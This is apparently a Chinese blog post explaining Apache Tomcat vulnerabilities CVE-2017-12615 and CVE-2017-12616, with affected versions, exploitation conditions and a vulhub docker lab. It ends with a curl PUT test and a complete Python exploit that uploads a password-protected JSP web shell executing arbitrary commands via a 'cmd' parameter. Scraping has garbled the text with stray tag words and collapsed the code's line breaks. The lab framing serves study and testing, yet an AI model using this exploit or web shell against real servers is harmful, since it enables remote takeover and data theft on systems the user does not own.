漏洞编号:java
CVE-2017-12615python
CVE-2017-12616linux
漏洞名称:git
CVE-2017-12615-远程代码执行漏洞github
CVE-2017-12616-信息泄露漏洞web
官方评级:docker
高危shell
漏洞描述:tomcat
CVE-2017-12616:信息泄露漏洞安全
当Tomcat中启用了 VirtualDirContext时,攻击者将能经过发送精心构造的恶意请求,绕过设置的相关安全限制,或是获取到由VirtualDirContext提供支持资源服务的JSP源代码,从而形成代码信息泄露。
CVE-2017-12615:远程代码执行漏洞
当 Tomcat运行在Windows操做系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可经过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。致使服务器上的数据泄露或获取服务器权限。
经过以上两个漏洞可在用户服务器上执行任意代码,从而致使数据泄露或获取服务器权限,存在高安全风险。
漏洞利用条件和方式:
CVE-2017-12615漏洞利用须要在Windows环境,且须要将 readonly 初始化参数由默认值设置为 false,通过实际测试,Tomcat 7.x版本内web.xml配置文件内默认配置无readonly参数,须要手工添加,默认配置条件下不受此漏洞影响。
CVE-2017-12616漏洞须要在server.xml文件配置VirtualDirContext参数,通过实际测试,Tomcat 7.x版本内默认配置无VirtualDirContext参数,须要手工添加,默认配置条件下不受此漏洞影响。
漏洞影响范围:
CVE-2017-12616影响范围:Apache Tomcat 7.0.0 - 7.0.80
CVE-2017-12615影响范围: Apache Tomcat 7.0.0 - 7.0.79
使用docker搭建漏洞环境
github地址:
https://github.com/vulhub/vulhub/tree/master/tomcat/CVE-2017-12615
这里我直接搭建在本地80端口上,linux系统下使用curl直接验证漏洞。
执行命令
curl -XPUT 127.0.0.1/2.jsp/ --data "test"
import requests import sys import time ''' Usage: python CVE-2017-12615.py http://127.0.0.1 shell: http://127.0.0.1/201712615.jsp?pwd=fff&cmd=whoami ''' def attack(url): user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" headers={"User-Agent":user_agent} data="""<% if("fff".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>""" try: requests.put(url, headers=headers, data=data) time.sleep(2) verify_response = requests.get(url[:-1], headers=headers) if verify_response.status_code == 200: print 'success!' else : print verify_response.status_code except : "error" if __name__ == '__main__': target_url = sys.argv[1] + '/201712615.jsp/' attack(target_url) print 'shell: ' + target_url[:-1]